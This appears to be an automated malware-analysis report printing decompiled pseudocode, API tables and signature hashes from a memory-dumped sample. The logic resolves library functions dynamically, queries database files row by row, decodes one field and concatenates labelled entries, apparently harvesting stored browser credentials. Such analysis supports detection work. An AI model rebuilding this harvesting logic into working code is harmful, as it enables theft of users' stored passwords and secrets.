				E00409F50(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16); // executed
				_t283 =  *0x41fb44; // 0x562ed0
				_t349 =  *0x41f7d4; // 0x55f520
				E0040A070(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16); // executed
				_t285 =  *0x41fb68; // 0x562f30
				_t351 =  *0x41fa74; // 0x55b080
				E0040A070(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16); // executed
				_t287 =  *0x41fd6c; // 0x564170
				_t353 =  *0x41facc; // 0x55afc0
				E00409F50(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16); // executed
				_t289 =  *0x41fafc; // 0x562ef0
				_t355 =  *0x41f874; // 0x55f6d8
				E0040A180(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16); // executed
				_t291 =  *0x41fa98; // 0x564218
				_t357 =  *0x41fdc8; // 0x55b020
				E0040A180(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16); // executed
				_t293 =  *0x41f7d0; // 0x564140
				_t359 =  *0x41feac; // 0x5591a0
				E0040A180(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16); // executed
				_t295 =  *0x41fb7c; // 0x5641e8
				_t361 =  *0x41f9d4; // 0x5637a0
				E0040A180(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16); // executed
				_t297 =  *0x41fa48; // 0x564158
				_t363 =  *0x41ff88; // 0x55b0b0
				E0040A180(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16); // executed
				_t299 =  *0x41fd28; // 0x564110
				_t365 =  *0x41faf8; // 0x559360
				E0040A180(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16); // executed
				_t301 =  *0x41f810; // 0x562f00
				_t367 =  *0x41f880; // 0x55f778
				E0040A180(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16); // executed
				_t303 =  *0x41f99c; // 0x562f10
				_t369 =  *0x41fe84; // 0x564020
				E0040A180(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16); // executed
				_t304 =  *0x41f9cc; // 0x564008
				_t370 =  *0x41fc30; // 0x563a60
				E0040A180(_t304, _t407, _t370, _t304, _a4, 0, 0, 0); // executed
				E00406760();
				_t233 =  *0x41ffe0; // 0x0
				_t234 =  *0x42009c(_t233);
				_t305 =  *0x41ffe0; // 0x0
				_t371 =  *0x41fe08; // 0x564248
				E004133B0(_a4, _t371, _t305, _t234);
				E0040B2C0(0x41ffe0, 4); // executed
				E00406D10(); // executed
				return E00406D30();
			}

0x0040a260
0x0040a271
0x0040a277
0x0040a27c
0x0040a281
0x0040a29b
0x0040a2a2
0x0040a2a9
0x0040a2c1
0x0040a2c8
0x0040a2cf
0x0040a2e7
0x0040a2ee
0x0040a2f5
0x0040a30d
0x0040a314
0x0040a31b
0x0040a333
0x0040a33a
0x0040a341
0x0040a359
0x0040a360
0x0040a367
0x0040a37f
0x0040a386
0x0040a38d
0x0040a3a5
0x0040a3ac
0x0040a3b3
0x0040a3cb
0x0040a3d2
0x0040a3d9
0x0040a3f1
0x0040a3f8
0x0040a3ff
0x0040a417
0x0040a41e
0x0040a425
0x0040a43d
0x0040a444
0x0040a44b
0x0040a463
0x0040a46a
0x0040a471
0x0040a489
0x0040a490
0x0040a497
0x0040a4af
0x0040a4b6
0x0040a4bd
0x0040a4d5
0x0040a4dc
0x0040a4e3
0x0040a4fb
0x0040a502
0x0040a509
0x0040a521
0x0040a528
0x0040a52f
0x0040a547
0x0040a54e
0x0040a555
0x0040a56d
0x0040a574
0x0040a57b
0x0040a593
0x0040a59a
0x0040a5a1
0x0040a5b9
0x0040a5c0
0x0040a5c7
0x0040a5df
0x0040a5e6
0x0040a5ed
0x0040a605
0x0040a60c
0x0040a613
0x0040a62b
0x0040a632
0x0040a639
0x0040a651
0x0040a658
0x0040a65f
0x0040a677
0x0040a67e
0x0040a685
0x0040a69d
0x0040a6a4
0x0040a6ab
0x0040a6c3
0x0040a6ca
0x0040a6d1
0x0040a6e9
0x0040a6f0
0x0040a6f7
0x0040a70f
0x0040a716
0x0040a71d
0x0040a735
0x0040a73c
0x0040a743
0x0040a755
0x0040a75c
0x0040a763
0x0040a76b
0x0040a770
0x0040a776
0x0040a77d
0x0040a784
0x0040a78f
0x0040a79e
0x0040a7a3
0x0040a7ae

APIs

RtlAllocateHeap.NTDLL(00000000,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A271

Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,00564638,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C4F
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,00563F00,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C67
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,00564650,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C7F
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,00563DC0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C98
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,00563E20,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CB0
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,005646B0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CC8
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,00563BE0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CE1
Part of subcall function 00406C20: GetProcAddress.KERNEL32(60900000,00563C40,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CF9

Part of subcall function 00409F50: lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00409F94
Part of subcall function 00409F50: lstrcatA.KERNEL32(?,?,?,00000104), ref: 00409FB9
Part of subcall function 00409F50: lstrcatA.KERNEL32(?,005645C0), ref: 00409FCD

Part of subcall function 0040A070: lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0040A0B4
Part of subcall function 0040A070: lstrcatA.KERNEL32(?,?,?,00000104), ref: 0040A0D9
Part of subcall function 0040A070: lstrcatA.KERNEL32(?,005645C0), ref: 0040A0ED

Part of subcall function 0040A180: lstrcatA.KERNEL32(?,00000001,?,00000104), ref: 0040A1C7
Part of subcall function 0040A180: lstrcatA.KERNEL32(?,?), ref: 0040A1DB
Part of subcall function 0040A180: lstrcatA.KERNEL32(?,00564038), ref: 0040A1EF

Part of subcall function 00406760: _memset.LIBCMT ref: 00406783
Part of subcall function 00406760: _memset.LIBCMT ref: 00406799
Part of subcall function 00406760: GetVersionExA.KERNEL32(00000094), ref: 004067B2

Strings

-V, xrefs: 0040A547
@/V, xrefs: 0040A4FB
XAV, xrefs: 0040A6C3
:V, xrefs: 0040A314
@V, xrefs: 0040A3F1
7V, xrefs: 0040A3D2
.V, xrefs: 0040A417
p.V, xrefs: 0040A4D5
0.V, xrefs: 0040A333
@AV, xrefs: 0040A677
`.V, xrefs: 0040A37F
HBV, xrefs: 0040A784
`:V, xrefs: 0040A75C
@.V, xrefs: 0040A359
pAV, xrefs: 0040A605
P.V, xrefs: 0040A29B
AV, xrefs: 0040A69D
:V, xrefs: 0040A33A
9V, xrefs: 0040A4DC
0/V, xrefs: 0040A5DF
@V, xrefs: 0040A73C

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AddressProc$_memset$AllocateHeapVersion
String ID: :V$ @V$0.V$0/V$@.V$@/V$@AV$HBV$P.V$XAV$`.V$`:V$p.V$pAV$-V$.V$7V$9V$:V$@V$AV
API String ID: 3162733268-115526005
Opcode ID: 7b99b0eeaad07a6e78fbf8b6c4712967c4fd403770bf18ad12f674c75201e5f2
Instruction ID: 87fcfe0e72b7e5b52f55e06ad2e3bb9014ecdc5ffcdabf9107b1acc6a79c942f
Opcode Fuzzy Hash: 7b99b0eeaad07a6e78fbf8b6c4712967c4fd403770bf18ad12f674c75201e5f2
Instruction Fuzzy Hash: AC02D8B6614109BBC744EF9CEC91DAB33BDAB8C304B44C12CBA0DD7255D634E916CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407640, Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 174
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00407640(void* __eflags, CHAR* _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v8;
				char _v5012;
				char _v5016;
				char _v5284;
				CHAR* _v5288;
				CHAR* _v5292;
				void* _t39;
				void* _t40;
				void* _t42;
				void* _t46;
				void* _t52;
				CHAR* _t54;
				CHAR* _t61;
				CHAR* _t63;
				CHAR* _t66;
				CHAR* _t69;
				CHAR* _t75;
				CHAR* _t77;
				CHAR* _t87;
				CHAR* _t88;
				CHAR* _t89;
				CHAR* _t90;
				CHAR* _t92;
				CHAR* _t93;
				CHAR* _t94;
				CHAR* _t95;
				intOrPtr _t98;
				CHAR* _t103;
				CHAR* _t104;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t108;
				CHAR* _t109;
				void* _t111;
				void* _t113;
				void* _t114;
				void* _t121;

				_t121 = __eflags;
				E00416530(0x14a8);
				 *0x420038(0x104,  &_v5284);
				lstrcatA( &_v5284, "\\");
				lstrcatA( &_v5284, E0040B450( &_v5284, _t121, 8));
				 *0x420064(_a8,  &_v5284, 1); // executed
				_t39 =  *0x41ffd8( &_v5284,  &_v8); // executed
				_t113 = _t111 + 0xc;
				if(_t39 == 0) {
					_t98 =  *0x41f878; // 0x558ab8
					_t42 =  *0x41ff90(_v8, _t98, 0xffffffff,  &_v5016, 0); // executed
					_t114 = _t113 + 0x14;
					if(_t42 == 0) {
						while(1) {
							_t46 =  *0x41ffac(_v5016);
							_t114 = _t114 + 4;
							if(_t46 != 0x64) {
								goto L4;
							}
							_v5292 =  *0x41ffc8(_v5016, 0);
							_v5288 =  *0x41ffc8(_v5016, 1);
							E0040B2C0( &_v5012, 0x1388);
							_t52 =  *0x41ffb8(_v5016, 2, _a16, _a20);
							_t54 = E00406DF0( *0x41ffc0(), _v5016, 2, _t52);
							_t114 = _t114 + 0x30;
							lstrcatA( &_v5012, _t54);
							_t87 =  *0x41fae0; // 0x562ce0
							_t103 =  *0x41ffe0; // 0x0
							lstrcatA(_t103, _t87);
							_t88 =  *0x41ffe0; // 0x0
							lstrcatA(_t88, _a12);
							_t104 =  *0x41ffe0; // 0x0
							lstrcatA(_t104, "\n");
							_t61 =  *0x41fb28; // 0x562ca0
							_t89 =  *0x41ffe0; // 0x0
							lstrcatA(_t89, _t61);
							_t63 =  *0x41ffe0; // 0x0
							lstrcatA(_t63, _a4);
							_t90 =  *0x41ffe0; // 0x0
							lstrcatA(_t90, "\n");
							_t106 =  *0x41f8f4; // 0x562cc0
							_t66 =  *0x41ffe0; // 0x0
							lstrcatA(_t66, _t106);
							_t107 =  *0x41ffe0; // 0x0
							lstrcatA(_t107, _v5292);
							_t69 =  *0x41ffe0; // 0x0
							lstrcatA(_t69, "\n");
							_t92 =  *0x41f81c; // 0x562cd0
							_t108 =  *0x41ffe0; // 0x0
							lstrcatA(_t108, _t92);
							_t93 =  *0x41ffe0; // 0x0
							lstrcatA(_t93, _v5288);
							_t109 =  *0x41ffe0; // 0x0
							lstrcatA(_t109, "\n");
							_t75 =  *0x41f8fc; // 0x562d40
							_t94 =  *0x41ffe0; // 0x0
							lstrcatA(_t94, _t75);
							_t77 =  *0x41ffe0; // 0x0
							lstrcatA(_t77,  &_v5012);
							_t95 =  *0x41ffe0; // 0x0
							lstrcatA(_t95, "\n\n");
						}
					}
					L4:
					 *0x41ffb0(_v5016);
					 *0x41ffdc(_v8);
				}
				_t40 =  *0x4200a8( &_v5284); // executed
				return _t40;
			}

0x00407640
0x00407648
0x00407659
0x0040766b
0x00407683
0x00407696
0x004076a7
0x004076ad
0x004076b2
0x004076c3
0x004076ce
0x004076d4
0x004076d9
0x004076df
0x004076e6
0x004076ec
0x004076f2
0x00000000
0x00000000
0x0040770a
0x00407722
0x00407734
0x0040774a
0x00407767
0x0040776c
0x00407777
0x0040777d
0x00407784
0x0040778b
0x00407795
0x0040779c
0x004077a7
0x004077ae
0x004077b4
0x004077ba
0x004077c1
0x004077cb
0x004077d1
0x004077dc
0x004077e3
0x004077e9
0x004077f0
0x004077f6
0x00407803
0x0040780a
0x00407815
0x0040781b
0x00407821
0x00407828
0x0040782f
0x0040783c
0x00407843
0x0040784e
0x00407855
0x0040785b
0x00407861
0x00407868
0x00407875
0x0040787b
0x00407886
0x0040788d
0x0040788d
0x004076df
0x00407898
0x0040789f
0x004078ac
0x004078b2
0x004078bc
0x004078c5

APIs

lstrcatA.KERNEL32(?,004187CC,?,0040842E,?,?,00000001,00000000,00000000), ref: 0040766B
lstrcatA.KERNEL32(?,00000000,00000000), ref: 00407683

Part of subcall function 00406DF0: _memset.LIBCMT ref: 00406E42
Part of subcall function 00406DF0: LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
Part of subcall function 00406DF0: lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

lstrcatA.KERNEL32(?,00000000), ref: 00407777
lstrcatA.KERNEL32(00000000,00562CE0), ref: 0040778B
lstrcatA.KERNEL32(00000000,?), ref: 0040779C
lstrcatA.KERNEL32(00000000,0041D304), ref: 004077AE
lstrcatA.KERNEL32(00000000,00562CA0), ref: 004077C1
lstrcatA.KERNEL32(00000000,?), ref: 004077D1
lstrcatA.KERNEL32(00000000,0041D304), ref: 004077E3
lstrcatA.KERNEL32(00000000,00562CC0), ref: 004077F6
lstrcatA.KERNEL32(00000000,?), ref: 0040780A
lstrcatA.KERNEL32(00000000,0041D304), ref: 0040781B
lstrcatA.KERNEL32(00000000,00562CD0), ref: 0040782F
lstrcatA.KERNEL32(00000000,?), ref: 00407843
lstrcatA.KERNEL32(00000000,0041D304), ref: 00407855
lstrcatA.KERNEL32(00000000,00562D40), ref: 00407868
lstrcatA.KERNEL32(00000000,?), ref: 0040787B
lstrcatA.KERNEL32(00000000,0041D300), ref: 0040788D

Strings

,V, xrefs: 0040777D
@-V, xrefs: 0040785B

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocLocal_memset
String ID: @-V$,V
API String ID: 1453525589-536479597
Opcode ID: fc849c044aa7107d784a66d0daea5e0d67ae4eef8f28dbdc752471cfd4300590
Instruction ID: 1fe679ac29418dabb41311f37e8934369bbdeb95588f886fa20391101ae7577a
Opcode Fuzzy Hash: fc849c044aa7107d784a66d0daea5e0d67ae4eef8f28dbdc752471cfd4300590
Instruction Fuzzy Hash: 676174B1A00204AFC714DBA4ED49EFA33B8FB48301F448579F60993262D7759A57CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF00, Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 106
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040BF00(void* __ecx) {
				intOrPtr _t2;
				_Unknown_base(*)()* _t4;
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__* _t6;
				intOrPtr _t7;
				struct HINSTANCE__* _t9;
				CHAR* _t12;
				struct HINSTANCE__* _t14;
				CHAR* _t17;
				struct HINSTANCE__* _t19;
				CHAR* _t22;
				struct HINSTANCE__* _t24;
				intOrPtr _t28;
				CHAR* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				 *0x4201ec = E0040BDE0(__ecx);
				if( *0x4201ec != 0) {
					_t7 =  *0x41f9a0; // 0x557730
					_t30 =  *0x4201ec; // 0x73b60000
					 *0x4201a4 = E0040BE10(_t30, _t7);
					_t40 =  *0x41fc20; // 0x557760
					_t9 =  *0x4201ec; // 0x73b60000
					 *0x420104 = E0040BE10(_t9, _t40);
					_t31 =  *0x41fec0; // 0x557a48
					_t41 =  *0x4201ec; // 0x73b60000
					 *0x420214 = GetProcAddress(_t41, _t31);
					_t12 =  *0x41fae8; // 0x55ead0
					_t32 =  *0x4201ec; // 0x73b60000
					 *0x420030 = GetProcAddress(_t32, _t12);
					_t42 =  *0x41fd68; // 0x55c718
					_t14 =  *0x4201ec; // 0x73b60000
					 *0x4201f0 = GetProcAddress(_t14, _t42);
					_t33 =  *0x41fc5c; // 0x557a00
					_t43 =  *0x4201ec; // 0x73b60000
					 *0x42015c = GetProcAddress(_t43, _t33);
					_t17 =  *0x41fc74; // 0x5579e8
					_t34 =  *0x4201ec; // 0x73b60000
					 *0x420174 = GetProcAddress(_t34, _t17);
					_t44 =  *0x41ff7c; // 0x557a18
					_t19 =  *0x4201ec; // 0x73b60000
					 *0x420118 = GetProcAddress(_t19, _t44);
					_t35 =  *0x41fad0; // 0x557988
					_t45 =  *0x4201ec; // 0x73b60000
					 *0x420194 = GetProcAddress(_t45, _t35);
					_t22 =  *0x41fe98; // 0x557a30
					_t36 =  *0x4201ec; // 0x73b60000
					 *0x420200 = GetProcAddress(_t36, _t22);
					_t46 =  *0x41ff58; // 0x55c418
					_t24 =  *0x4201ec; // 0x73b60000
					 *0x420184 = GetProcAddress(_t24, _t46);
					_t37 =  *0x41fbbc; // 0x5579b8
					_t47 =  *0x4201ec; // 0x73b60000
					 *0x420070 = GetProcAddress(_t47, _t37);
				}
				_t2 =  *0x41f8a8; // 0x5579a0
				 *0x41fffc =  *0x4201a4(_t2);
				_t28 =  *0x41fe00; // 0x5579d0
				_t4 =  *0x4201a4(_t28); // executed
				 *0x4200c8 = _t4;
				if( *0x41fffc != 0) {
					_t39 =  *0x41fd40; // 0x540ec0
					_t6 =  *0x41fffc; // 0x73ae0000
					_t4 = GetProcAddress(_t6, _t39);
					 *0x4200d8 = _t4;
				}
				if( *0x4200c8 != 0) {
					_t29 =  *0x41f868; // 0x55c678
					_t38 =  *0x4200c8; // 0x76ae0000
					_t5 = GetProcAddress(_t38, _t29);
					 *0x420170 = _t5;
					return _t5;
				}
				return _t4;
			}

0x0040bf08
0x0040bf14
0x0040bf1a
0x0040bf20
0x0040bf2f
0x0040bf34
0x0040bf3b
0x0040bf49
0x0040bf4e
0x0040bf55
0x0040bf62
0x0040bf67
0x0040bf6d
0x0040bf7a
0x0040bf7f
0x0040bf86
0x0040bf92
0x0040bf97
0x0040bf9e
0x0040bfab
0x0040bfb0
0x0040bfb6
0x0040bfc3
0x0040bfc8
0x0040bfcf
0x0040bfdb
0x0040bfe0
0x0040bfe7
0x0040bff4
0x0040bff9
0x0040bfff
0x0040c00c
0x0040c011
0x0040c018
0x0040c024
0x0040c029
0x0040c030
0x0040c03d
0x0040c03d
0x0040c042
0x0040c04e
0x0040c053
0x0040c05a
0x0040c060
0x0040c06c
0x0040c06e
0x0040c075
0x0040c07b
0x0040c081
0x0040c081
0x0040c08d
0x0040c08f
0x0040c096
0x0040c09d
0x0040c0a3
0x00000000
0x0040c0a3
0x0040c0a9

APIs

GetProcAddress.KERNEL32(73B60000,00557A48), ref: 0040BF5C
GetProcAddress.KERNEL32(73B60000,0055EAD0), ref: 0040BF74
GetProcAddress.KERNEL32(73B60000,0055C718), ref: 0040BF8C
GetProcAddress.KERNEL32(73B60000,00557A00), ref: 0040BFA5
GetProcAddress.KERNEL32(73B60000,005579E8), ref: 0040BFBD
GetProcAddress.KERNEL32(73B60000,00557A18), ref: 0040BFD5
GetProcAddress.KERNEL32(73B60000,00557988), ref: 0040BFEE
GetProcAddress.KERNEL32(73B60000,00557A30), ref: 0040C006
GetProcAddress.KERNEL32(73B60000,0055C418), ref: 0040C01E
GetProcAddress.KERNEL32(73B60000,005579B8), ref: 0040C037
GetProcAddress.KERNEL32(73AE0000,00540EC0,?,0040669E), ref: 0040C07B
GetProcAddress.KERNEL32(76AE0000,0055C678,?,0040669E), ref: 0040C09D

Strings

yU, xrefs: 0040BFB0
0zU, xrefs: 0040BFF9
HzU, xrefs: 0040BF4E
`wU, xrefs: 0040BF34
0wU, xrefs: 0040BF1A

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc
String ID: 0wU$0zU$HzU$`wU$yU
API String ID: 190572456-1209290933
Opcode ID: 735530e2fa9e07f2d37434b02afb922d5e60d54f90e782bb5148914905ba93be
Instruction ID: 88c20497905d98f76380248bf2ee82ac3a06137fef60c31b52ca794f34a0740a
Opcode Fuzzy Hash: 735530e2fa9e07f2d37434b02afb922d5e60d54f90e782bb5148914905ba93be
Instruction Fuzzy Hash: B94193B5710200DFC365DFA8FD89A6A37E9B7493017808539E509C3272DB369927CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00407E60, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00407E60(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _v292;
				CHAR* _v296;
				intOrPtr _t42;
				void* _t45;
				void* _t47;
				void* _t52;
				void* _t53;
				void* _t66;
				CHAR* _t68;
				CHAR* _t70;
				CHAR* _t92;
				intOrPtr _t97;
				CHAR* _t101;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t114;

				E0040B2C0( &_v276, 0x104);
				_t42 =  *0x41fc6c; // 0x5645d8
				 *0x420018( &_v276, _t42, _a12, _a8);
				_t45 =  *0x41ffd8(_a4,  &_v8); // executed
				_t110 = _t108 + 0x18;
				if(_t45 == 0) {
					_t97 =  *0x41f97c; // 0x557d28
					_t47 =  *0x41ff90(_v8, _t97, 0xffffffff,  &_v280, 0);
					_t111 = _t110 + 0x14;
					if(_t47 != 0) {
						L6:
						 *0x41ffb0(_v280);
						return  *0x41ffdc(_v8);
					}
					_t52 = RtlAllocateHeap( *0x420200(), 0, 0xf423f); // executed
					_v284 = _t52;
					while(1) {
						_t53 =  *0x41ffac(_v280);
						_t114 = _t111 + 4;
						if(_t53 != 0x64) {
							break;
						}
						_v292 =  *0x41ffc8(_v280, 0);
						_v288 =  *0x41ffc8(_v280, 1);
						_v296 =  *0x41ffc8(_v280, 2);
						_t101 =  *0x41f9b8; // 0x564698
						lstrcatA(_v284, _t101);
						_t66 =  *0x41ffb8(_v280, 3, _a16, _a20);
						_t68 = E00406DF0( *0x41ffc0(), _v280, 3, _t66);
						_t111 = _t114 + 0x38;
						lstrcatA(_v284, _t68);
						_t70 =  *0x41fc34; // 0x564758
						lstrcatA(_v284, _t70);
						lstrcatA(_v284, _v292);
						_t92 =  *0x41f908; // 0x563f20
						lstrcatA(_v284, _t92);
						lstrcatA(_v284, _v288);
						lstrcatA(_v284, "/");
						lstrcatA(_v284, _v296);
						lstrcatA(_v284, "\n\n");
					}
					E004133B0(_a24,  &_v276, _v284,  *0x42009c(_v284));
					_t111 = _t114 + 0x10;
					E0040B2C0( &_v284, 4);
					goto L6;
				}
				return _t45;
			}

0x00407e75
0x00407e82
0x00407e8f
0x00407ea0
0x00407ea6
0x00407eab
0x00407ebc
0x00407ec7
0x00407ecd
0x00407ed2
0x0040806d
0x00408074
0x00000000
0x00408087
0x00407ee6
0x00407eec
0x00407ef2
0x00407ef9
0x00407eff
0x00407f05
0x00000000
0x00000000
0x00407f1d
0x00407f35
0x00407f4d
0x00407f53
0x00407f61
0x00407f78
0x00407f95
0x00407f9a
0x00407fa5
0x00407fab
0x00407fb8
0x00407fcc
0x00407fd2
0x00407fe0
0x00407ff4
0x00408006
0x0040801a
0x0040802c
0x0040802c
0x00408057
0x0040805c
0x00408068
0x00000000
0x00408068
0x0040808d

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00407EE6
lstrcatA.KERNEL32(?,00564698), ref: 00407F61

Part of subcall function 00406DF0: _memset.LIBCMT ref: 00406E42
Part of subcall function 00406DF0: LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
Part of subcall function 00406DF0: lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

lstrcatA.KERNEL32(?,00000000), ref: 00407FA5
lstrcatA.KERNEL32(?,00564758), ref: 00407FB8
lstrcatA.KERNEL32(?,?), ref: 00407FCC
lstrcatA.KERNEL32(?,00563F20), ref: 00407FE0
lstrcatA.KERNEL32(?,?), ref: 00407FF4
lstrcatA.KERNEL32(?,0041D930), ref: 00408006
lstrcatA.KERNEL32(?,?), ref: 0040801A
lstrcatA.KERNEL32(?,0041D300), ref: 0040802C

Strings

?V, xrefs: 00407FD2
(}U, xrefs: 00407EBC
XGV, xrefs: 00407FAB

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocAllocateHeapLocal_memset
String ID: ?V$(}U$XGV
API String ID: 75570893-3276140771
Opcode ID: f1e1294b9add4211f3ea5ecde47cfe5a1283e2b97436d5516e0245a303846082
Instruction ID: c784f41fe2d0b9fe41b9bf798e5b12206355ce9d3061171f60e39c2230967fe4
Opcode Fuzzy Hash: f1e1294b9add4211f3ea5ecde47cfe5a1283e2b97436d5516e0245a303846082
Instruction Fuzzy Hash: 0A5178B1A00118AFCB24DFA4DC4AFDA7378AF48701F0085A5F709D3251DB759A96CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406C20, Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00406C20() {
				intOrPtr _t1;
				struct HINSTANCE__* _t2;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41fe4c; // 0x55f250
				_t2 =  *0x4201a4(_t1); // executed
				 *0x41ffd4 = _t2;
				if( *0x41ffd4 == 0) {
					return 0;
				}
				_t18 =  *0x41fc7c; // 0x564638
				_t24 =  *0x41ffd4; // 0x60900000
				 *0x41ffd8 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41f89c; // 0x563f00
				_t19 =  *0x41ffd4; // 0x60900000
				 *0x41ff90 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41fbe8; // 0x564650
				_t7 =  *0x41ffd4; // 0x60900000
				 *0x41ffac = GetProcAddress(_t7, _t25);
				_t20 =  *0x41fbc8; // 0x563dc0
				_t26 =  *0x41ffd4; // 0x60900000
				 *0x41ffc8 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41fc00; // 0x563e20
				_t21 =  *0x41ffd4; // 0x60900000
				 *0x41ffb0 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41fe2c; // 0x5646b0
				_t12 =  *0x41ffd4; // 0x60900000
				 *0x41ffdc = GetProcAddress(_t12, _t27);
				_t22 =  *0x41fd1c; // 0x563be0
				_t28 =  *0x41ffd4; // 0x60900000
				 *0x41ffb8 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41fea0; // 0x563c40
				_t23 =  *0x41ffd4; // 0x60900000
				 *0x41ffc0 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00406c23
0x00406c29
0x00406c2f
0x00406c3b
0x00000000
0x00406d0b
0x00406c41
0x00406c48
0x00406c55
0x00406c5a
0x00406c60
0x00406c6d
0x00406c72
0x00406c79
0x00406c85
0x00406c8a
0x00406c91
0x00406c9e
0x00406ca3
0x00406ca9
0x00406cb6
0x00406cbb
0x00406cc2
0x00406cce
0x00406cd3
0x00406cda
0x00406ce7
0x00406cec
0x00406cf2
0x00406cff
0x00000000

APIs

GetProcAddress.KERNEL32(60900000,00564638,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C4F
GetProcAddress.KERNEL32(60900000,00563F00,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C67
GetProcAddress.KERNEL32(60900000,00564650,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C7F
GetProcAddress.KERNEL32(60900000,00563DC0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406C98
GetProcAddress.KERNEL32(60900000,00563E20,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CB0
GetProcAddress.KERNEL32(60900000,005646B0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CC8
GetProcAddress.KERNEL32(60900000,00563BE0,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CE1
